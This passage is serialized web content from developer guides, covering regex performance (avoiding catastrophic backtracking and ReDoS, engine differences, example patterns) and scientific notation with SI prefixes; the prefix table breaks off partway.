string\n",[1560,296188,296189,296191,296193,296195,296197,296199,296201,296203,296205,296207],{"class":1562,"line":2529},[1560,296190,8180],{"class":1669},[1560,296192,293032],{"class":1576},[1560,296194,8186],{"class":1669},[1560,296196,11912],{"class":5634},[1560,296198,293089],{"class":11919},[1560,296200,9448],{"class":1669},[1560,296202,1525],{"class":11919},[1560,296204,43156],{"class":1669},[1560,296206,9423],{"class":5634},[1560,296208,2228],{"class":1570},[1560,296210,296211,296213,296216,296218,296221],{"class":1562,"line":2534},[1560,296212,8180],{"class":1669},[1560,296214,296215],{"class":1576}," goodString",[1560,296217,8186],{"class":1669},[1560,296219,296220],{"class":5634}," 'aaaaa'",[1560,296222,2228],{"class":1570},[1560,296224,296225,296227,296230,296232,296235],{"class":1562,"line":2542},[1560,296226,8180],{"class":1669},[1560,296228,296229],{"class":1576}," badString",[1560,296231,8186],{"class":1669},[1560,296233,296234],{"class":5634}," 'aaaaaaaaaaaaaaaaX'",[1560,296236,2228],{"class":1570},[1560,296238,296239],{"class":1562,"line":2558},[1560,296240,1702],{"emptyLinePlaceholder":363},[1560,296242,296243,296245,296247,296249,296252,296254,296257,296260,296263],{"class":1562,"line":2570},[1560,296244,8211],{"class":1570},[1560,296246,8214],{"class":1566},[1560,296248,1688],{"class":1570},[1560,296250,296251],{"class":5634},"'Good string:'",[1560,296253,1459],{"class":1570},[1560,296255,296256],{"class":1566},"benchmark",[1560,296258,296259],{"class":1570},"(regex, goodString), ",[1560,296261,296262],{"class":5634},"'ms'",[1560,296264,1744],{"class":1570},[1560,296266,296267,296269,296271,296273,296276,296278,296280,296283,296285],{"class":1562,"line":6638},[1560,296268,8211],{"class":1570},[1560,296270,8214],{"class":1566},[1560,296272,1688],{"class":1570},[1560,296274,296275],{"class":5634},"'Bad string:'",[1560,296277,1459],{"class":1570},[1560,296279,296256],{"class":1566},[1560,296281,296282],{"class":1570},"(regex, badString), ",[1560,296284,296262],{"class":5634},[1560,296286,1744],{"class":1570},[1560,296288,296289],{"class":1562,"line":11615},[1560,296290,296291],{"class":1649},"\u002F\u002F The bad string might take WAY longer!\n",[33,296293,85930],{"id":296294},"online-tools",[41,296296,296297,296305,296313],{},[44,296298,296299,296304],{},[98,296300,296303],{"href":296301,"rel":296302},"https:\u002F\u002Fregex101.com",[14956],"Regex101"," — Shows regex steps and warnings",[44,296306,296307,296312],{},[98,296308,296311],{"href":296309,"rel":296310},"https:\u002F\u002Fwww.regexbuddy.com",[14956],"RegexBuddy"," — Advanced debugging",[44,296314,296315,296320],{},[98,296316,296319],{"href":296317,"rel":296318},"https:\u002F\u002Fregexr.com",[14956],"RegExr"," — Visual highlighting",[11,296322,296324],{"id":296323},"optimization-checklist","Optimization Checklist",[16,296326,296327],{},"When writing regexes, check each item:",[41,296329,296331,296344,296354,296363,296376,296385,296394,296403],{"className":296330},[4464],[44,296332,296334,6841,296336,69406,296339,1531,296341],{"className":296333},[4468],[4470,296335],{"disabled":363,"type":4472},[47,296337,296338],{},"Avoid nested quantifiers",[143,296340,294670],{},[143,296342,296343],{},"(.*)*",[44,296345,296347,6841,296349,55616,296352,291834],{"className":296346},[4468],[4470,296348],{"disabled":363,"type":4472},[47,296350,296351],{},"Use specific character classes",[143,296353,468],{},[44,296355,296357,6841,296359,296362],{"className":296356},[4468],[4470,296358],{"disabled":363,"type":4472},[47,296360,296361],{},"Prefer lazy quantifiers"," when matching until a known delimiter",[44,296364,296366,6841,296368,12674,296371,1856,296373,296375],{"className":296365},[4468],[4470,296367],{"disabled":363,"type":4472},[47,296369,296370],{},"Anchor your patterns",[143,296372,38799],{},[143,296374,11938],{}," when matching full strings",[44,296377,296379,6841,296381,296384],{"className":296378},[4468],[4470,296380],{"disabled":363,"type":4472},[47,296382,296383],{},"Factor out common prefixes"," in alternations",[44,296386,296388,6841,296390,296393],{"className":296387},[4468],[4470,296389],{"disabled":363,"type":4472},[47,296391,296392],{},"Test with long, malicious strings"," to catch ReDoS",[44,296395,296397,6841,296399,296402],{"className":296396},[4468],[4470,296398],{"disabled":363,"type":4472},[47,296400,296401],{},"Consider atomic groups"," if your engine supports them",[44,296404,296406,6841,296408,296411],{"className":296405},[4468],[4470,296407],{"disabled":363,"type":4472},[47,296409,296410],{},"Don't use regex for parsing"," HTML, XML, or other nested structures",[11,296413,79972],{"id":79971},[33,296415,296417],{"id":296416},"example-1-email-validation","Example 1: Email Validation",[135,296419,296421],{"className":1607,"code":296420,"language":1609,"meta":141,"style":141},"\u002F\u002F BAD: Overly complex, potential backtracking\nconst badEmailRegex = \u002F^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$\u002F;\n\n\u002F\u002F GOOD: Same thing, but recognize it's already fairly optimal\n\u002F\u002F The character classes are specific, no nested quantifiers\nconst goodEmailRegex = \u002F^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$\u002F;\n\n\u002F\u002F BETTER: If you control the input, simpler might suffice\nconst simplerEmailRegex = \u002F^\\S+@\\S+\\.\\S+$\u002F;\n",[143,296422,296423,296428,296461,296465,296470,296475,296508,296512,296517],{"__ignoreMap":141},[1560,296424,296425],{"class":1562,"line":1563},[1560,296426,296427],{"class":1649},"\u002F\u002F BAD: Overly complex, potential backtracking\n",[1560,296429,296430,296432,296435,296437,296439,296441,296443,296445,296447,296449,296451,296453,296455,296457,296459],{"class":1562,"line":337},[1560,296431,8180],{"class":1669},[1560,296433,296434],{"class":1576}," badEmailRegex",[1560,296436,8186],{"class":1669},[1560,296438,11912],{"class":5634},[1560,296440,38799],{"class":1669},[1560,296442,265960],{"class":1576},[1560,296444,9448],{"class":1669},[1560,296446,6849],{"class":11919},[1560,296448,265967],{"class":1576},[1560,296450,9448],{"class":1669},[1560,296452,11916],{"class":11915},[1560,296454,22728],{"class":1576},[1560,296456,265976],{"class":1669},[1560,296458,9423],{"class":5634},[1560,296460,2228],{"class":1570},[1560,296462,296463],{"class":1562,"line":343},[1560,296464,1702],{"emptyLinePlaceholder":363},[1560,296466,296467],{"class":1562,"line":365},[1560,296468,296469],{"class":1649},"\u002F\u002F GOOD: Same thing, but recognize it's already fairly optimal\n",[1560,296471,296472],{"class":1562,"line":889},[1560,296473,296474],{"class":1649},"\u002F\u002F The character classes are specific, no nested quantifiers\n",[1560,296476,296477,296479,296482,296484,296486,296488,296490,296492,296494,296496,296498,296500,296502,296504,296506],{"class":1562,"line":1710},[1560,296478,8180],{"class":1669},[1560,296480,296481],{"class":1576}," goodEmailRegex",[1560,296483,8186],{"class":1669},[1560,296485,11912],{"class":5634},[1560,296487,38799],{"class":1669},[1560,296489,265960],{"class":1576},[1560,296491,9448],{"class":1669},[1560,296493,6849],{"class":11919},[1560,296495,265967],{"class":1576},[1560,296497,9448],{"class":1669},[1560,296499,11916],{"class":11915},[1560,296501,22728],{"class":1576},[1560,296503,265976],{"class":1669},[1560,296505,9423],{"class":5634},[1560,296507,2228],{"class":1570},[1560,296509,296510],{"class":1562,"line":1717},[1560,296511,1702],{"emptyLinePlaceholder":363},[1560,296513,296514],{"class":1562,"line":1747},[1560,296515,296516],{"class":1649},"\u002F\u002F BETTER: If you control the input, simpler might suffice\n",[1560,296518,296519,296521,296524,296526,296528,296530,296532,296534,296536,296538,296540,296542,296544,296546,296548],{"class":1562,"line":2507},[1560,296520,8180],{"class":1669},[1560,296522,296523],{"class":1576}," simplerEmailRegex",[1560,296525,8186],{"class":1669},[1560,296527,11912],{"class":5634},[1560,296529,38799],{"class":1669},[1560,296531,292145],{"class":1576},[1560,296533,9448],{"class":1669},[1560,296535,6849],{"class":11919},[1560,296537,292145],{"class":1576},[1560,296539,9448],{"class":1669},[1560,296541,11916],{"class":11915},[1560,296543,292145],{"class":1576},[1560,296545,43156],{"class":1669},[1560,296547,9423],{"class":5634},[1560,296549,2228],{"class":1570},[33,296551,296553],{"id":296552},"example-2-url-path-matching","Example 2: URL Path Matching",[135,296555,296557],{"className":1607,"code":296556,"language":1609,"meta":141,"style":141},"\u002F\u002F BAD: Greedy catch-all\nconst badPathRegex = \u002F^\\\u002Fapi\\\u002F.*\\\u002Fdetails$\u002F;\n\n\u002F\u002F GOOD: Specific character class\nconst goodPathRegex = \u002F^\\\u002Fapi\\\u002F[^\\\u002F]+\\\u002Fdetails$\u002F;\n\n\u002F\u002F Even better: exact segment count\nconst exactPathRegex = \u002F^\\\u002Fapi\\\u002F([^\\\u002F]+)\\\u002Fdetails$\u002F;\n",[143,296558,296559,296564,296598,296602,296607,296646,296650,296655],{"__ignoreMap":141},[1560,296560,296561],{"class":1562,"line":1563},[1560,296562,296563],{"class":1649},"\u002F\u002F BAD: Greedy catch-all\n",[1560,296565,296566,296568,296571,296573,296575,296577,296579,296581,296583,296585,296587,296589,296592,296594,296596],{"class":1562,"line":337},[1560,296567,8180],{"class":1669},[1560,296569,296570],{"class":1576}," badPathRegex",[1560,296572,8186],{"class":1669},[1560,296574,11912],{"class":5634},[1560,296576,38799],{"class":1669},[1560,296578,43130],{"class":11915},[1560,296580,119256],{"class":11919},[1560,296582,43130],{"class":11915},[1560,296584,468],{"class":1576},[1560,296586,8069],{"class":1669},[1560,296588,43130],{"class":11915},[1560,296590,296591],{"class":11919},"details",[1560,296593,11938],{"class":1669},[1560,296595,9423],{"class":5634},[1560,296597,2228],{"class":1570},[1560,296599,296600],{"class":1562,"line":343},[1560,296601,1702],{"emptyLinePlaceholder":363},[1560,296603,296604],{"class":1562,"line":365},[1560,296605,296606],{"class":1649},"\u002F\u002F GOOD: Specific character class\n",[1560,296608,296609,296611,296614,296616,296618,296620,296622,296624,296626,296628,296630,296632,296634,296636,296638,296640,296642,296644],{"class":1562,"line":889},[1560,296610,8180],{"class":1669},[1560,296612,296613],{"class":1576}," goodPathRegex",[1560,296615,8186],{"class":1669},[1560,296617,11912],{"class":5634},[1560,296619,38799],{"class":1669},[1560,296621,43130],{"class":11915},[1560,296623,119256],{"class":11919},[1560,296625,43130],{"class":11915},[1560,296627,24385],{"class":1576},[1560,296629,38799],{"class":1669},[1560,296631,43130],{"class":11915},[1560,296633,131065],{"class":1576},[1560,296635,9448],{"class":1669},[1560,296637,43130],{"class":11915},[1560,296639,296591],{"class":11919},[1560,296641,11938],{"class":1669},[1560,296643,9423],{"class":5634},[1560,296645,2228],{"class":1570},[1560,296647,296648],{"class":1562,"line":1710},[1560,296649,1702],{"emptyLinePlaceholder":363},[1560,296651,296652],{"class":1562,"line":1717},[1560,296653,296654],{"class":1649},"\u002F\u002F Even better: exact segment count\n",[1560,296656,296657,296659,296662,296664,296666,296668,296670,296672,296674,296676,296678,296680,296682,296684,296686,296688,296690,296692,296694,296696],{"class":1562,"line":1747},[1560,296658,8180],{"class":1669},[1560,296660,296661],{"class":1576}," exactPathRegex",[1560,296663,8186],{"class":1669},[1560,296665,11912],{"class":5634},[1560,296667,38799],{"class":1669},[1560,296669,43130],{"class":11915},[1560,296671,119256],{"class":11919},[1560,296673,43130],{"class":11915},[1560,296675,1688],{"class":11919},[1560,296677,24385],{"class":1576},[1560,296679,38799],{"class":1669},[1560,296681,43130],{"class":11915},[1560,296683,131065],{"class":1576},[1560,296685,9448],{"class":1669},[1560,296687,1525],{"class":11919},[1560,296689,43130],{"class":11915},[1560,296691,296591],{"class":11919},[1560,296693,11938],{"class":1669},[1560,296695,9423],{"class":5634},[1560,296697,2228],{"class":1570},[33,296699,296701],{"id":296700},"example-3-log-parsing","Example 3: Log Parsing",[135,296703,296705],{"className":1607,"code":296704,"language":1609,"meta":141,"style":141},"\u002F\u002F BAD: Nested quantifiers\nconst badLogRegex = \u002F(\\d+:)+(.+)\u002F;\n\n\u002F\u002F GOOD: Specific format\nconst goodLogRegex = \u002F^(\\d{1,3}:)+\\s+(.+)$\u002F;\n\n\u002F\u002F BETTER: Parse known format\nconst logLine = '123:456:789 Some message';\nconst parts = logLine.split(':');\nconst message = parts.pop(); \u002F\u002F \"789 Some message\"\n",[143,296706,296707,296712,296746,296750,296755,296797,296801,296806,296820,296839],{"__ignoreMap":141},[1560,296708,296709],{"class":1562,"line":1563},[1560,296710,296711],{"class":1649},"\u002F\u002F BAD: Nested quantifiers\n",[1560,296713,296714,296716,296719,296721,296723,296725,296727,296729,296732,296734,296736,296738,296740,296742,296744],{"class":1562,"line":337},[1560,296715,8180],{"class":1669},[1560,296717,296718],{"class":1576}," badLogRegex",[1560,296720,8186],{"class":1669},[1560,296722,11912],{"class":5634},[1560,296724,1688],{"class":11919},[1560,296726,157302],{"class":1576},[1560,296728,9448],{"class":1669},[1560,296730,296731],{"class":11919},":)",[1560,296733,9448],{"class":1669},[1560,296735,1688],{"class":11919},[1560,296737,468],{"class":1576},[1560,296739,9448],{"class":1669},[1560,296741,1525],{"class":11919},[1560,296743,9423],{"class":5634},[1560,296745,2228],{"class":1570},[1560,296747,296748],{"class":1562,"line":343},[1560,296749,1702],{"emptyLinePlaceholder":363},[1560,296751,296752],{"class":1562,"line":365},[1560,296753,296754],{"class":1649},"\u002F\u002F GOOD: Specific format\n",[1560,296756,296757,296759,296762,296764,296766,296768,296770,296772,296775,296777,296779,296781,296783,296785,296787,296789,296791,296793,296795],{"class":1562,"line":889},[1560,296758,8180],{"class":1669},[1560,296760,296761],{"class":1576}," goodLogRegex",[1560,296763,8186],{"class":1669},[1560,296765,11912],{"class":5634},[1560,296767,38799],{"class":1669},[1560,296769,1688],{"class":11919},[1560,296771,157302],{"class":1576},[1560,296773,296774],{"class":1669},"{1,3}",[1560,296776,296731],{"class":11919},[1560,296778,9448],{"class":1669},[1560,296780,185714],{"class":1576},[1560,296782,9448],{"class":1669},[1560,296784,1688],{"class":11919},[1560,296786,468],{"class":1576},[1560,296788,9448],{"class":1669},[1560,296790,1525],{"class":11919},[1560,296792,11938],{"class":1669},[1560,296794,9423],{"class":5634},[1560,296796,2228],{"class":1570},[1560,296798,296799],{"class":1562,"line":1710},[1560,296800,1702],{"emptyLinePlaceholder":363},[1560,296802,296803],{"class":1562,"line":1717},[1560,296804,296805],{"class":1649},"\u002F\u002F BETTER: Parse known format\n",[1560,296807,296808,296810,296813,296815,296818],{"class":1562,"line":1747},[1560,296809,8180],{"class":1669},[1560,296811,296812],{"class":1576}," logLine",[1560,296814,8186],{"class":1669},[1560,296816,296817],{"class":5634}," '123:456:789 Some message'",[1560,296819,2228],{"class":1570},[1560,296821,296822,296824,296826,296828,296831,296833,296835,296837],{"class":1562,"line":2507},[1560,296823,8180],{"class":1669},[1560,296825,81980],{"class":1576},[1560,296827,8186],{"class":1669},[1560,296829,296830],{"class":1570}," logLine.",[1560,296832,9356],{"class":1566},[1560,296834,1688],{"class":1570},[1560,296836,101579],{"class":5634},[1560,296838,1744],{"class":1570},[1560,296840,296841,296843,296846,296848,296850,296852,296854],{"class":1562,"line":2524},[1560,296842,8180],{"class":1669},[1560,296844,296845],{"class":1576}," message",[1560,296847,8186],{"class":1669},[1560,296849,82042],{"class":1570},[1560,296851,110637],{"class":1566},[1560,296853,34220],{"class":1570},[1560,296855,296856],{"class":1649},"\u002F\u002F \"789 Some message\"\n",[11,296858,296860],{"id":296859},"understanding-your-regex-engine","Understanding Your Regex Engine",[16,296862,296863],{},"Different engines have different performance characteristics:",[193,296865,296866,296876],{},[196,296867,296868],{},[199,296869,296870,296872,296874],{},[202,296871,182767],{},[202,296873,14177],{},[202,296875,102628],{},[211,296877,296878,296891,296904,296917],{},[199,296879,296880,296885,296888],{},[216,296881,296882],{},[47,296883,296884],{},"RE2",[216,296886,296887],{},"Go, Rust (regex crate)",[216,296889,296890],{},"Linear time, no backtracking, no ReDoS",[199,296892,296893,296898,296901],{},[216,296894,296895],{},[47,296896,296897],{},"PCRE",[216,296899,296900],{},"PHP, Apache",[216,296902,296903],{},"Backtracking, supports atomic groups",[199,296905,296906,296911,296914],{},[216,296907,296908],{},[47,296909,296910],{},"ICU",[216,296912,296913],{},"Java (some APIs)",[216,296915,296916],{},"Backtracking with optimizations",[199,296918,296919,296924,296926],{},[216,296920,296921],{},[47,296922,296923],{},"ECMAScript",[216,296925,9860],{},[216,296927,296928],{},"Backtracking, no atomic groups",[16,296930,296931,296933],{},[47,296932,118461],{}," If you're using JavaScript, you're stuck with backtracking. Write your regexes accordingly!",[11,296935,208883],{"id":161627},[16,296937,296938],{},"Regex performance boils down to controlling backtracking:",[77,296940,296941,296946,296955,296961,296967],{},[44,296942,296943,296945],{},[47,296944,296338],{}," — the #1 cause of ReDoS",[44,296947,296948,109587,296951,55616,296953,291834],{},[47,296949,296950],{},"Be specific",[143,296952,294646],{},[143,296954,294638],{},[44,296956,296957,296960],{},[47,296958,296959],{},"Use lazy quantifiers"," for \"match until X\" patterns",[44,296962,296963,296966],{},[47,296964,296965],{},"Benchmark with bad input"," — test with strings designed to fail",[44,296968,296969,296972],{},[47,296970,296971],{},"Know your engine"," — RE2 is safe, ECMAScript can be dangerous",[16,296974,69241,296975],{},[47,296976,296977],{},"A regex that's fast on valid input might be catastrophically slow on invalid input.",[11,296979,257800],{"id":257799},[41,296981,296982,296987,296992],{},[44,296983,296984,296986],{},[98,296985,86882],{"href":87094}," — Test regex with real-time highlighting",[44,296988,296989,296991],{},[98,296990,295068],{"href":292540}," — Quick regex reference",[44,296993,296994,296996],{},[98,296995,295074],{"href":268298}," — Ready-to-use patterns",[2043,296998,296999],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":297001},[297002,297003,297008,297013,297018,297025,297029,297030,297035,297036,297037],{"id":295139,"depth":337,"text":295140},{"id":295166,"depth":337,"text":295167,"children":297004},[297005,297006,297007],{"id":295173,"depth":343,"text":295174},{"id":295305,"depth":343,"text":295306},{"id":295381,"depth":343,"text":295382},{"id":295399,"depth":337,"text":295400,"children":297009},[297010,297011,297012],{"id":295403,"depth":343,"text":295404},{"id":295476,"depth":343,"text":295477},{"id":26164,"depth":343,"text":26165},{"id":295670,"depth":337,"text":295671,"children":297014},[297015,297016,297017],{"id":295677,"depth":343,"text":295678},{"id":295696,"depth":343,"text":295697},{"id":295732,"depth":343,"text":295733},{"id":295777,"depth":337,"text":295778,"children":297019},[297020,297021,297022,297023,297024],{"id":295781,"depth":343,"text":295782},{"id":295834,"depth":343,"text":295835},{"id":295866,"depth":343,"text":295867},{"id":295899,"depth":343,"text":295900},{"id":295932,"depth":343,"text":295933},{"id":296058,"depth":337,"text":296059,"children":297026},[297027,297028],{"id":296062,"depth":343,"text":296063},{"id":296294,"depth":343,"text":85930},{"id":296323,"depth":337,"text":296324},{"id":79971,"depth":337,"text":79972,"children":297031},[297032,297033,297034],{"id":296416,"depth":343,"text":296417},{"id":296552,"depth":343,"text":296553},{"id":296700,"depth":343,"text":296701},{"id":296859,"depth":337,"text":296860},{"id":161627,"depth":337,"text":208883},{"id":257799,"depth":337,"text":257800},"Learn regex performance optimization: avoid catastrophic backtracking, understand greedy vs lazy quantifiers, use atomic groups for faster matching.",{"immutable":363},{"title":295134,"description":297038},"guides\u002Fregex-performance-tips","bFqtGEvSysdZ2YbQTiLZHh2A5ugidLVGCryrdG8Op08",{"id":297044,"title":297045,"body":297046,"date":257855,"description":298641,"extension":361,"meta":298642,"navigation":363,"path":298643,"readingTime":1747,"seo":298644,"stem":298645,"__hash__":298646},"guides\u002Fguides\u002Fscientific-notation-guide.md","Scientific Notation and Unit Prefixes: A Complete Reference",{"type":8,"value":297047,"toc":298596},[297048,297050,297053,297056,297060,297064,297067,297073,297076,297088,297090,297160,297164,297167,297173,297177,297181,297187,297191,297199,297260,297264,297267,297271,297621,297625,297726,297730,297733,297763,297767,297770,297774,297777,297781,297901,297905,297980,297982,298008,298012,298015,298019,298022,298025,298096,298100,298102,298174,298176,298288,298290,298333,298336,298383,298387,298486,298488,298492,298495,298508,298512,298515,298525,298529,298532,298545,298549,298552,298563,298565,298569,298575,298579,298585,298587,298594],[11,297049,2776],{"id":256641},[16,297051,297052],{},"Scientific notation is the standard way to express very large or very small numbers concisely. Combined with unit prefixes, it forms the foundation of measurement in science, engineering, and computing.",[16,297054,297055],{},"This guide covers scientific notation syntax, SI prefixes, binary prefixes for computing, engineering notation, and how these concepts appear in programming languages.",[11,297057,297059],{"id":297058},"scientific-notation-basics","Scientific Notation Basics",[33,297061,297063],{"id":297062},"what-is-scientific-notation","What is Scientific Notation?",[16,297065,297066],{},"Scientific notation expresses numbers as a product of a coefficient and a power of 10:",[135,297068,297071],{"className":297069,"code":297070,"language":140},[138],"a × 10ⁿ\n",[143,297072,297070],{"__ignoreMap":141},[16,297074,297075],{},"Where:",[41,297077,297078,297083],{},[44,297079,297080,297082],{},[143,297081,98],{}," is the coefficient (1 ≤ |a| \u003C 10, typically)",[44,297084,297085,297087],{},[143,297086,22610],{}," is the exponent (integer)",[33,297089,96299],{"id":273779},[193,297091,297092,297105],{},[196,297093,297094],{},[199,297095,297096,297099,297102],{},[202,297097,297098],{},"Standard Form",[202,297100,297101],{},"Scientific Notation",[202,297103,297104],{},"Spoken As",[211,297106,297107,297117,297127,297138,297149],{},[199,297108,297109,297111,297114],{},[216,297110,44009],{},[216,297112,297113],{},"3 × 10²",[216,297115,297116],{},"\"three times ten squared\"",[199,297118,297119,297121,297124],{},[216,297120,23986],{},[216,297122,297123],{},"5 × 10³",[216,297125,297126],{},"\"five times ten cubed\"",[199,297128,297129,297132,297135],{},[216,297130,297131],{},"0.004",[216,297133,297134],{},"4 × 10⁻³",[216,297136,297137],{},"\"four times ten to the negative three\"",[199,297139,297140,297143,297146],{},[216,297141,297142],{},"123,000,000",[216,297144,297145],{},"1.23 × 10⁸",[216,297147,297148],{},"\"one point two three times ten to the eighth\"",[199,297150,297151,297154,297157],{},[216,297152,297153],{},"0.000000789",[216,297155,297156],{},"7.89 × 10⁻⁷",[216,297158,297159],{},"\"seven point eight nine times ten to the negative seventh\"",[33,297161,297163],{"id":297162},"normalized-scientific-notation","Normalized Scientific Notation",[16,297165,297166],{},"In normalized form, the coefficient is between 1 and 10 (1 ≤ |a| \u003C 10):",[135,297168,297171],{"className":297169,"code":297170,"language":140},[138],"Correct:   3.45 × 10⁶\nIncorrect: 34.5 × 10⁵  (not normalized)\nIncorrect: 0.345 × 10⁷ (not normalized)\n",[143,297172,297170],{"__ignoreMap":141},[11,297174,297176],{"id":297175},"writing-scientific-notation","Writing Scientific Notation",[33,297178,297180],{"id":297179},"in-mathematics-and-science","In Mathematics and Science",[135,297182,297185],{"className":297183,"code":297184,"language":140},[138],"3.0 × 10⁸  (using multiplication symbol and superscript)\n3.0e8      (using \"e\" notation, common in computing)\n3.0E8      (capital E, equivalent)\n3 × 10^8   (using caret for exponent)\n",[143,297186,297184],{"__ignoreMap":141},[33,297188,297190],{"id":297189},"in-computing-programming-languages","In Computing (Programming Languages)",[16,297192,297193,297194,1531,297196,297198],{},"Most programming languages use ",[143,297195,96224],{},[143,297197,22654],{}," to denote the exponent:",[135,297200,297202],{"className":8259,"code":297201,"language":8261,"meta":141,"style":141},"# Python\nspeed_of_light = 3.0e8  # 3.0 × 10⁸\nplanck_constant = 6.626e-34  # 6.626 × 10⁻³⁴\n\n# JavaScript\nconst avogadro = 6.022e23;\n\n\u002F\u002F Java\ndouble electronCharge = 1.602e-19;\n\n\u002F\u002F C\u002FC++\nfloat massElectron = 9.109e-31;\n",[143,297203,297204,297208,297213,297218,297222,297227,297232,297236,297241,297246,297250,297255],{"__ignoreMap":141},[1560,297205,297206],{"class":1562,"line":1563},[1560,297207,181265],{},[1560,297209,297210],{"class":1562,"line":337},[1560,297211,297212],{},"speed_of_light = 3.0e8  # 3.0 × 10⁸\n",[1560,297214,297215],{"class":1562,"line":343},[1560,297216,297217],{},"planck_constant = 6.626e-34  # 6.626 × 10⁻³⁴\n",[1560,297219,297220],{"class":1562,"line":365},[1560,297221,1702],{"emptyLinePlaceholder":363},[1560,297223,297224],{"class":1562,"line":889},[1560,297225,297226],{},"# JavaScript\n",[1560,297228,297229],{"class":1562,"line":1710},[1560,297230,297231],{},"const avogadro = 6.022e23;\n",[1560,297233,297234],{"class":1562,"line":1717},[1560,297235,1702],{"emptyLinePlaceholder":363},[1560,297237,297238],{"class":1562,"line":1747},[1560,297239,297240],{},"\u002F\u002F Java\n",[1560,297242,297243],{"class":1562,"line":2507},[1560,297244,297245],{},"double electronCharge = 1.602e-19;\n",[1560,297247,297248],{"class":1562,"line":2524},[1560,297249,1702],{"emptyLinePlaceholder":363},[1560,297251,297252],{"class":1562,"line":2529},[1560,297253,297254],{},"\u002F\u002F C\u002FC++\n",[1560,297256,297257],{"class":1562,"line":2534},[1560,297258,297259],{},"float massElectron = 9.109e-31;\n",[11,297261,297263],{"id":297262},"si-prefixes-metric-system","SI Prefixes (Metric System)",[16,297265,297266],{},"SI (Système International) prefixes represent powers of 10 and are used with metric units.",[33,297268,297270],{"id":297269},"standard-si-prefixes","Standard SI Prefixes",[193,297272,297273,297288],{},[196,297274,297275],{},[199,297276,297277,297279,297281,297284,297286],{},[202,297278,132011],{},[202,297280,25285],{},[202,297282,297283],{},"Power of 10",[202,297285,5271],{},[202,297287,133],{},[211,297289,297290,297306,297322,297338,297354,297370,297386,297402,297418,297434,297450,297463,297478,297493,297509,297526,297542,297558,297574,297590,297606],{},[199,297291,297292,297295,297297,297300,297303],{},[216,297293,297294],{},"yotta",[216,297296,22042],{},[216,297298,297299],{},"10²⁴",[216,297301,297302],{},"1,000,000,000,000,000,000,000,000",[216,297304,297305],{},"YB (yottabyte)",[199,297307,297308,297311,297313,297316,297319],{},[216,297309,297310],{},"zetta",[216,297312,22039],{},[216,297314,297315],{},"10²¹",[216,297317,297318],{},"1,000,000,000,000,000,000,000",[216,297320,297321],{},"ZB (zettabyte)",[199,297323,297324,297327,297329,297332,297335],{},[216,297325,297326],{},"exa",[216,297328,22654],{},[216,297330,297331],{},"10¹⁸",[216,297333,297334],{},"1,000,000,000,000,000,000",[216,297336,297337],{},"EB (exabyte)",[199,297339,297340,297343,297345,297348,297351],{},[216,297341,297342],{},"peta",[216,297344,22671],{},[216,297346,297347],{},"10¹⁵",[216,297349,297350],{},"1,000,000,000,000,000",[216,297352,297353],{},"PB (petabyte)",[199,297355,297356,297359,297361,297364,297367],{},[216,297357,297358],{},"tera",[216,297360,23169],{},[216,297362,297363],{},"10¹²",[216,297365,297366],{},"1,000,000,000,000",[216,297368,297369],{},"TB (terabyte)",[199,297371,297372,297375,297377,297380,297383],{},[216,297373,297374],{},"giga",[216,297376,39838],{},[216,297378,297379],{},"10⁹",[216,297381,297382],{},"1,000,000,000",[216,297384,297385],{},"GHz (gigahertz)",[199,297387,297388,297391,297393,297396,297399],{},[216,297389,297390],{},"mega",[216,297392,22024],{},[216,297394,297395],{},"10⁶",[216,297397,297398],{},"1,000,000",[216,297400,297401],{},"MW (megawatt)",[199,297403,297404,297407,297410,297413,297415],{},[216,297405,297406],{},"kilo",[216,297408,297409],{},"k",[216,297411,297412],{},"10³",[216,297414,189902],{},[216,297416,297417],{},"km (kilometer)",[199,297419,297420,297423,297426,297429,297431],{},[216,297421,297422],{},"hecto",[216,297424,297425],{},"h",[216,297427,297428],{},"10²",[216,297430,18114],{},[216,297432,297433],{},"hPa (hectopascal)",[199,297435,297436,297439,297442,297445,297447],{},[216,297437,297438],{},"deca",[216,297440,297441],{},"da",[216,297443,297444],{},"10¹",[216,297446,36197],{},[216,297448,297449],{},"dag (decagram)",[199,297451,297452,297454,297456,297459,297461],{},[216,297453,3060],{},[216,297455,3060],{},[216,297457,297458],{},"10⁰",[216,297460,3585],{},[216,297462,3060],{},[199,297464,297465,297468,297470,297473,297475],{},[216,297466,297467],{},"deci",[216,297469,27742],{},[216,297471,297472],{},"10⁻¹",[216,297474,46961],{},[216,297476,297477],{},"dB (decibel, special)",[199,297479,297480,297483,297485,297488,297490],{},[216,297481,297482],{},"centi",[216,297484,13943],{},[216,297486,297487],{},"10⁻²",[216,297489,45338],{},[216,297491,297492],{},"cm 